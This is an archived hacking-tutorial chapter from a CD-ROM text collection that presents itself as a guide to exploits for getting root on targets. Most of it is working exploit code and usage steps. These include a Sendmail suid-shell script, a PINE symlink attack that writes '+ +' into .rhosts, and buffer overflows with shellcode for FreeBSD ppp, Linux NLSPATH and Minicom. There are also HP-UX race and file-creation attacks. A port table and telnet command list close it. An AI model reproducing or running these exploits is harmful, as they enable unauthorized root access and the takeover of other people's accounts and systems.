home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Arsenal - The Cutting Edge of Hacking / Hacker's Arsenal - The Cutting Edge of Hacking.iso / texts / chapter5.txt < prev    next >
Text File  |  2001-07-11  |  17KB  |  634 lines

  1. Chapter 5: Telnet
  2.  
  3.  
  4. Exploits and Telnet
  5. Well exploits are the best way of hacking webpages but they are also more
  6. complicated then hacking through ftp or using the phf. Before you can setup
  7. an exploit you must first have a telnet proggie, there are many different
  8. clients you can just do a netsearch and find everything you need.
  9. It's best to get an account with your target(if possible) and view the
  10. glitches from the inside out. Exploits expose errors or bugs in systems
  11. and usually allow you to gain root access. There are many different
  12. exploits around and you can view each seperately. I'm going to list a
  13. few below but the list of exploits is endless.
  14.  
  15. This exploit is known as Sendmail v.8.8.4
  16. It creates a suid program /tmp/x that calls shell as root. This is how you
  17. set it up:
  18.  
  19. cat << _EOF_ >/tmp/x.c
  20.  #define RUN "/bin/ksh"
  21.  #include<stdio.h>
  22.  main()
  23.  {
  24.     execl(RUN,RUN,NULL);
  25.  }
  26. _EOF_
  27. #
  28. cat << _EOF_ >/tmp/spawnfish.c
  29.  main()
  30.  {
  31.    execl("/usr/lib/sendmail","/tmp/smtpd",0);      
  32.  }                                             
  33. _EOF_
  34. #
  35. cat << _EOF_ >/tmp/smtpd.c
  36.  main()
  37.  {
  38.    setuid(0); setgid(0); 
  39.    system("chown root /tmp/x ;chmod 4755 /tmp/x");
  40.  }
  41. _EOF_
  42. #
  43. #
  44. gcc -O  -o /tmp/x /tmp/x.c
  45. gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
  46. gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
  47. #
  48. /tmp/spawnfish
  49. kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
  50. rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
  51. sleep 5
  52. if [ -u /tmp/x ] ; then
  53.    echo "leet..."
  54.    /tmp/x
  55. fi 
  56.  
  57.  
  58. and now on to another exploit. I'm going to display the pine exploit through
  59. linux. By watching the process table with ps to see which users are running
  60. PINE,  one can then do an ls in /tmp/ to gather the lockfile names for each
  61. user.  Watching the process table once again will now reveal when each user
  62. quits PINE or runs out of unread messages in their INBOX, effectively
  63. deleting the respective lockfile.
  64.  
  65.   Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts
  66.   (for a generic example) will cause PINE to create ~hamors/.rhosts as a
  67.   666 file with PINE's process id as its contents.  One may now simply do
  68.   an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.
  69.  
  70. This was writen by Sean B. Hamor...For this example, hamors is the victim
  71. while catluvr is the attacker:
  72.  
  73. hamors (21 19:04) litterbox:~> pine
  74.  
  75. catluvr (6 19:06) litterbox:~> ps -aux | grep pine
  76. catluvr   1739  0.0  1.8  100  356 pp3 S    19:07   0:00 grep pine
  77. hamors    1732  0.8  5.7  249 1104 pp2 S    19:05   0:00 pine
  78.  
  79. catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
  80. - -rw-rw-rw-   1 hamors   elite           4 Aug 26 19:05 .302.f5a4
  81.  
  82. catluvr (8 19:07) litterbox:~> ps -aux | grep pine
  83. catluvr   1744  0.0  1.8  100  356 pp3 S    19:08   0:00 grep pine
  84.  
  85. catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4
  86.  
  87. hamors (23 19:09) litterbox:~> pine
  88.  
  89. catluvr (11 19:10) litterbox:~> ps -aux | grep pine
  90. catluvr   1759  0.0  1.8  100  356 pp3 S    19:11   0:00 grep pine
  91. hamors    1756  2.7  5.1  226  992 pp2 S    19:10   0:00 pine
  92.  
  93. catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4
  94.  
  95. catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
  96. + +
  97.  
  98. catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4
  99.  
  100. catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
  101.  
  102. now on to another one, this will be the last one that I'm going to show.
  103. Exploitation script for the ppp vulnerbility as described by no one to date,
  104. this is NOT FreeBSD-SA-96:15. Works on
  105.   FreeBSD as tested. Mess with the numbers if it doesnt work. This is how
  106.   you set it up:
  107.  
  108. #include <stdio.h>
  109. #include <stdlib.h>
  110. #include <unistd.h>
  111.  
  112. #define BUFFER_SIZE     156     /* size of the bufer to overflow */
  113.  
  114. #define OFFSET          -290    /* number of bytes to jump after the start
  115.                                    of the buffer */
  116.  
  117. long get_esp(void) { __asm__("movl %esp,%eax\n"); }
  118.  
  119. main(int argc, char *argv[])
  120. {
  121.         char *buf = NULL;
  122.         unsigned long *addr_ptr = NULL;
  123.         char *ptr = NULL;
  124.         char execshell[] =
  125.         "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
  126.         "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
  127.         "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"  /* 20 bytes */
  128.         "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";    /* 15 bytes, 57 total */
  129.    
  130.         int i,j;
  131.  
  132.         buf = malloc(4096);
  133.  
  134.         /* fill start of bufer with nops */
  135.  
  136.         i = BUFFER_SIZE-strlen(execshell);
  137.  
  138.         memset(buf, 0x90, i);
  139.         ptr = buf + i;
  140.  
  141.         /* place exploit code into the buffer */
  142.  
  143.         for(i = 0; i < strlen(execshell); i++) 
  144.                 *ptr++ = execshell[i];
  145.  
  146.         addr_ptr = (long *)ptr;
  147.         for(i=0;i < (104/4); i++)
  148.                 *addr_ptr++ = get_esp() + OFFSET;
  149.  
  150.         ptr = (char *)addr_ptr;
  151.         *ptr = 0;
  152.  
  153.         setenv("HOME", buf, 1);
  154.  
  155.         execl("/usr/sbin/ppp", "ppp", NULL);
  156. }
  157.  
  158. More exploits:
  159.  
  160. -Hpux
  161.  
  162. ppl exploit: #!/bin/ksh
  163.  
  164. # ppl exploit, second part - SOD 15Oct96
  165. # not all buffer overruns need to force an address into the PC
  166. # works on 10.X, too, oddly enough. - Script Junkie
  167.  
  168. #HOST='localhost'
  169. #USER=`whoami`
  170.  
  171. HOST="+"
  172. USER="+"
  173.  
  174. cd /tmp
  175. rm core 2> /dev/null
  176. ln -s ~root/.rhosts core
  177. AAA='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  178. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  179. aaaaaaaaaaaaaaaaaaaaaaaaaaaa'
  180. STUFF=`echo "${AAA}\n${HOST} ${USER}"`
  181. ppl -o "${STUFF}"
  182. rm core
  183. remsh localhost -l root sh -i
  184.  
  185. schlowdishk exploit: #!/bin/ksh
  186.  
  187. # OK.. this bug gets inserted into remwatch after the patch.. It was there
  188. # before in some versions, but now it's pretty much universal if the patch
  189. # gets installed...
  190. # Silly Scriptor & friend, SOD, (11Jun96)
  191.  
  192. if [ ! -x /usr/remwatch/bin/disks/showdisk ]
  193. then
  194.   echo This is an exploit for the showdisk utility internal to
  195.   echo HP\'s Remote Watch series of programs.
  196.   echo The showdisk utility doesn\'t appear to be on your system.
  197.   echo Moo
  198.   exit
  199. fi
  200.  
  201. FILE=$1
  202. if [ -z "$FILE" ]
  203. then
  204.   FILE=/.rhosts
  205. fi
  206.  
  207.  
  208. if [ -f "$FILE" ]
  209. then
  210.   echo "Hey, there already a ${FILE}!"
  211.   echo "I'd rather enjoy making new files, thank you very much..."
  212.   exit
  213. fi
  214.  
  215. umask 0000
  216. /usr/remwatch/bin/disks/showdisk arg arg ${FILE} arg > /dev/null 2>&1
  217. >${FILE}
  218. ls -l ${FILE}
  219.  
  220. if [ "${FILE}" = "/.rhosts" ]
  221. then
  222.   echo "Adding + + ..."
  223.   echo "+ +" >> /.rhosts
  224.   remsh localhost -l root ksh -i
  225. fi
  226.  
  227. glance exploit: You need only do the following:
  228.  
  229. 1. Log in as yourself.
  230. 2. Decide what file you want to create for world write.
  231. 3. do a umask 000
  232. 4. Then do /usr/perf/bin/glance -f <that_file>
  233. 5. After a few seconds, quit glance.
  234. 6. That file will now be there and world is writeable, now edit it.
  235. 7.  If it previousle existed, it will be trunc'ed with orig perms.
  236.  
  237. sysdiag exploit: Basically, the sysdiag stuff is set-uid root.  You can exploit that
  238. feature to create and write stuff to arbitrary files on the system as
  239. root,
  240. while not being root.  If the target file you want to create exists,
  241. this
  242. doesn't work.  Perhaps there is a way around that, but that ain't the
  243. point.
  244. The point is that I used this to get root in 30 seconds on my HP's and
  245. that's
  246. not good.  Heck, this is probably faster then asking for the root
  247. password !!!
  248.  
  249. More on the problem:
  250.  
  251.         What happens is that a feature exists to create a log file of your
  252. sysdiag session that can be invoked while in the program.  You give it
  253. the
  254. name of the file to create, and if it is a sym link to a non-existant
  255. file,
  256. sysdiag follows the sym link and creates the file as root for you and
  257. logs
  258. your session in it.  To show a typical vunerability, I created /.rhosts
  259. from a sym link in /tmp that sysdiag followed and then caused sysdiag
  260. to
  261. echo the line "+ +" in to the file.  Then I could rlogin as root.
  262.  
  263.         If /.rhosts or /etc/hosts.equiv don't exist, you can use this trick
  264. to create and put a "+ +" in either of those files.  That's an easy way
  265. to
  266. become root or someone else. You can do other files as well.  This
  267. ain't
  268. cool, at all...
  269.  
  270. How I  tested this on my system:
  271.  
  272. 1. I logged in with my regular account
  273. 2. I made a sym link with the command: ln -s /.rhosts /tmp/tempfile
  274. 3. I ran the command: /bin/sysdiag
  275. 4. From the DUI> prompt I typed: outfile /tmp/f1
  276. 5. From the DUI> prompt I typed: + +
  277. 6. From the DUI> prompt I typed: redo
  278. 7. When my previous command echoed to the screen I pressed <return>.
  279. 8. From the DUI> prompt I typed: exit
  280. 9. Now at the shell prompt, and out of sysdiag, I typed:
  281.         rlogin localhost -l root
  282. 10. Once logged in I typed: id
  283.         and it said I was root...
  284.  
  285. This is the script of my sysdiag session:
  286.  
  287. Script started on Sat Sep 21 23:29:10 1996
  288. $ id
  289. uid=1648(jjacobi) gid=999(systems)
  290. $ ls -l /tmp
  291. total 0
  292. $ ls -l /.rhosts
  293. /.rhosts not found
  294. $ ln -s /.rhosts /tmp/tempfile
  295. $ ls -l /tmp
  296. total 2
  297. lrwx--x--x   1 jjacobi  systems        8 Sep 21 23:29 tempfile ->
  298. /.rhosts
  299. $ ls -l /.rhosts
  300. /.rhosts not found
  301. $ /bin/sysdiag
  302.  
  303. sam exploit: Go to your HP 9.04/5 system first.
  304.  
  305. 1. Log into your system as a normal user.
  306. 2. Compile the program below, making any changes if you need to. (you
  307. shouldn't need to)
  308. 3. Log in on another terminal, become root and insure that sam is not
  309.         currently executing.
  310. 4. As the normal user log in, run the program that you compiled in step
  311. 2.
  312. 5. On the root log in session, run sam.
  313. 6. Look at the target file.
  314.  
  315. /*    Code to exploit race of sam calling iopasrer.sh
  316.     It will usually cause the ioparser.sh script run
  317.         by root to follow the sym links created here to
  318.     create or truncate TARGET_FILENAME as root.
  319.  
  320.         It ain't pretty and may not always work, but usually
  321.         does.
  322.  
  323.         Compile on HP9000/[700/800] 9.04[5] with the command:
  324.  
  325.         cc racer.c -o racer -Ae
  326.  
  327. */
  328.  
  329. #include <stdio.h>
  330. #include <sys/stat.h>
  331. #include <fcntl.h>
  332. #include <unistd.h>
  333. #include <string.h>
  334. #include <strings.h>
  335. #include <symlink.h>
  336.  
  337. #define PROC_TO_LOOK_FOR "sam"                  /* The process to look
  338. for in ps */
  339. #define TARGET_FILENAME "/check_this"   /* File that is created or
  340. trunc'ed */
  341. #define NUM_SYM_LINKS 50                                /* Increase this
  342. for systems that fork() alot */
  343.  
  344. void main(void)
  345. {
  346.         char ps_buf[65536];     /* ps data buffer */
  347.         char *line;                     /* a pointer in to the ps_buf */
  348.         char f1[80];            /* buffer space for the sym link name */
  349.         char hostname[32];      /* buffer space to hold hostname, duh */
  350.         int fd;                         /* fd is for the pipe */
  351.         int ext;                        /* the extantion to place on the
  352. symlink (pid) */
  353.         int loop;                       /* Dumb loop variable,
  354. suggestions ??? */
  355.  
  356.         unlink("ps_fifo");                                      /* Why
  357. not */
  358.         mkfifo("ps_fifo",S_IRUSR|S_IWUSR);      /* Need this */
  359.         fd = open("ps_fifo",O_RDONLY|O_NONBLOCK); /* You read the pipe
  360. */
  361.         gethostname(hostname,32); /* gets the hostname just like
  362. ioparser.sh !!! */
  363.  
  364.         printf("Looking for process %s, will exploit filename
  365. %s\n",PROC_TO_LOOK_FOR,TARGET_FILENAME);
  366.  
  367.         /* FIGURE THE REST OUT YOURSELF, IT AIN'T ARTWORK... */
  368.  
  369.         while(1) {
  370.                 system("/bin/ps -u 0 > ps_fifo");
  371.  
  372.                 read(fd,ps_buf,65536);
  373.  
  374.                 if( (line = strstr(ps_buf,PROC_TO_LOOK_FOR)) != NULL ) {
  375.                         while( *line != '\n' ) {
  376.                                 line--;
  377.                         }
  378.  
  379.                         line+=2;
  380.                         line[5] = '\0';
  381.                         ext = atoi(line);
  382.  
  383.                         for(loop = 1 ; loop <= NUM_SYM_LINKS ; loop ++)
  384. {
  385.                                 sprintf(f1,"/tmp/%s.%d",hostname,ext +
  386. loop);
  387.                                 symlink(TARGET_FILENAME,f1);
  388.                         }
  389.  
  390.                         while( (access(TARGET_FILENAME,F_OK)) < 0 );
  391.  
  392.                         printf("%s has run, wait a few seconds and check
  393. %s\n",PROC_TO_LOOK_FOR,TARGET_FILENAME);
  394.                         unlink("ps_fifo");
  395.                         exit();
  396.  
  397.                 }
  398.  
  399.         }
  400.  
  401. }
  402.  
  403.  
  404.  
  405. -Linux
  406.  
  407. nlspath exploit: /*
  408.  * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1
  409.  * Copyright (c) 1997 by Solar Designer
  410.  */
  411.  
  412. #include <stdio.h>
  413. #include <stdlib.h>
  414. #include <unistd.h>
  415.  
  416. char *shellcode =
  417.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  418.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  419.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  420.   "\xcd\x80/"
  421.   "/bin/sh"
  422.   "0";
  423.  
  424. char *get_sp() {
  425.    asm("movl %esp,%eax");
  426. }
  427.  
  428. #define bufsize 2048
  429. char buffer[bufsize];
  430.  
  431. main() {
  432.   int i;
  433.  
  434.   for (i = 0; i < bufsize - 4; i += 4)
  435.     *(char **)&buffer[i] = get_sp() - 3072;
  436.  
  437.   memset(buffer, 0x90, 512);
  438.   memcpy(&buffer[512], shellcode, strlen(shellcode));
  439.  
  440.   buffer[bufsize - 1] = 0;
  441.  
  442.   setenv("NLSPATH", buffer, 1);
  443.  
  444.   execl("/bin/su", "/bin/su", NULL);
  445. }
  446.  
  447. --- nlspath.c ---
  448.  
  449. And the shellcode separately:
  450.  
  451. --- shellcode.s ---
  452.  
  453. .text
  454. .globl shellcode
  455. shellcode:
  456. xorl %eax,%eax
  457. movb $0x31,%al
  458. int $0x80
  459. xchgl %eax,%ebx
  460. xorl %eax,%eax
  461. movb $0x17,%al
  462. int $0x80
  463. .byte 0x68
  464. popl %ecx
  465. popl %eax
  466. jmp *%ecx
  467. call *%esp
  468. xorl %eax,%eax
  469. cltd
  470. movl %ecx,%edi
  471. movb $'/'-1,%al
  472. incl %eax
  473. scasb %es:(%edi),%al
  474. jne -3
  475. movl %edi,(%ecx)
  476. movl %edx,4(%ecx)
  477. movl %edi,%ebx
  478. incl %eax
  479. scasb %es:(%edi),%al
  480. jne -3
  481. movb %dl,-1(%edi)
  482. movb $0x0B,%al
  483. int $0x80
  484. xorl %eax,%eax
  485. incl %eax
  486. xorl %ebx,%ebx
  487. int $0x80
  488. .byte '/'
  489. .string "/bin/sh0"
  490.  
  491.  
  492. Minicom 1.75 exploit: #include <stdlib.h>
  493. #include <unistd.h>
  494. #include <stdio.h>
  495. #include <string.h>
  496. #include <stdarg.h>
  497.  
  498. #define NOP     0x90
  499.  
  500. const char usage[] = "usage: %s stack-offset buffer-size argv0 argv1 ...\n";
  501.  
  502. extern          code();
  503. void    dummy( void )
  504. {
  505.         extern  lbl();
  506.  
  507.         /* do "exec( "/bin/sh" ); exit(0)" */
  508.  
  509. __asm__( "
  510. code:   xorl    %edx, %edx
  511.         pushl   %edx
  512.         jmp     lbl
  513. start2: movl    %esp, %ecx
  514.         popl    %ebx
  515.         movb    %edx, 0x7(%ebx)
  516.         xorl    %eax, %eax
  517.         movb    $0xB, %eax
  518.         int     $0x80
  519.         xorl    %ebx, %ebx
  520.         xorl    %eax, %eax
  521.         inc     %eax
  522.         int     $0x80
  523. lbl:    call    start2
  524.         .string \"/bin/sh\"
  525.  ");
  526. }
  527.  
  528. void            Fatal( int rv, const char *fmt, ... )
  529. {
  530.         va_list         vl;
  531.         va_start( vl, fmt );
  532.         vfprintf( stderr, fmt, vl );
  533.         va_end( vl );
  534.         exit( rv );
  535. }
  536.  
  537. int             main( int ac, char **av )
  538. {
  539.         int             buff_addr;      /* where our code is */
  540.         int             stack_offset = 0,
  541.                         buffer_size = 0, i, code_size;
  542.         char            *buffer, *p;
  543.  
  544.         buff_addr = (int)(&buff_addr);          /* get the stack pointer */
  545.         code_size = strlen( (char *)code );     /* get the size of piece of */
  546.                                                 /* code in dummy()      */
  547.         if( ac < 5 )    Fatal( -1, usage, *av );
  548.  
  549.         buff_addr -= strtol( av[ 1 ], NULL, 0 );
  550.         buffer_size = strtoul( av[ 2 ], NULL, 0 );
  551.  
  552.         if( buffer_size < code_size + 4 )
  553.             Fatal( -1, "buffer is too short -- %d minimum.\n", code_size + 5);
  554.             /* "this is supported, but not implemented yet" ;) */
  555.  
  556.         if( (buffer = malloc( buffer_size )) == NULL )
  557.             Fatal( -1, "malloc(): %s\n", strerror( errno ) );
  558.  
  559.         fprintf( stderr, "using buffer address 0x%8.8x\n", buff_addr );
  560.  
  561.         for( i = buffer_size - 4; i > buffer_size / 2; i -= 4 )
  562.                 *(int *)(buffer + i) = buff_addr;
  563.         memset( buffer, NOP, buffer_size/2 );
  564.  
  565.         i = (buffer_size - code_size - 4)/2;
  566.  
  567.         memcpy( buffer + i, (char *)code, code_size );
  568.         buffer[ buffer_size - 1 ] = '\0';
  569.  
  570.         p = malloc( strlen( av[ ac - 1 ] ) + code_size + 1 );
  571.         if( !p )
  572.             Fatal( -1, "malloc(): %s\n", strerror( errno ) );
  573.  
  574.         strcpy( p, av[ ac - 1 ] );
  575.         strcat( p, buffer );
  576.         av[ ac - 1 ] = p;
  577.  
  578.         execve( av[ 3 ], av + 3, NULL );
  579.         perror( "exec():" );
  580. }
  581.  
  582.  
  583. I will send out more exploits in the next book I write. 
  584.  
  585.  
  586.  
  587.  
  588. Common Ports-
  589.   Program / Name         Port
  590. ________________________________________________________________________  
  591.   
  592.   discard                  9
  593.   netstat                 15
  594.   chargen                 19  
  595.   ftp                     21  
  596.   telnetd                 23  
  597.   smtp                    25  
  598.   rlp                     39  
  599.   bootp                   67
  600.   fingerk                 79  
  601.   http                    80 / 8080
  602.   military http           80 / 8080 / 5580  
  603.   link                    87  
  604.   pop3                   110
  605.   identd                 113  
  606.   nntp                   119  
  607.   newsk                  144  
  608.   execk                  512  
  609.   login                  513  
  610.   pkill                  515  
  611.   ktalk                  517  
  612.   ntalk                  518  
  613.   netwall                533
  614.   rmontior               560  
  615.   montior                561
  616.   kerberos               750
  617.  
  618. Common telnet commands:
  619.  
  620. Command                                         Function
  621.  
  622. access                        Telnet account
  623. c                        Connect to a host
  624. cont                        Continue
  625. d                        Disconnect
  626. full                        Network echo
  627. half                        Terminal echo
  628. hangup                        Hangs up
  629. mail                        Mail
  630. set                        Select PAD parameters
  631. stat                        Show network port.
  632. telemail                        Mail
  633.  
  634.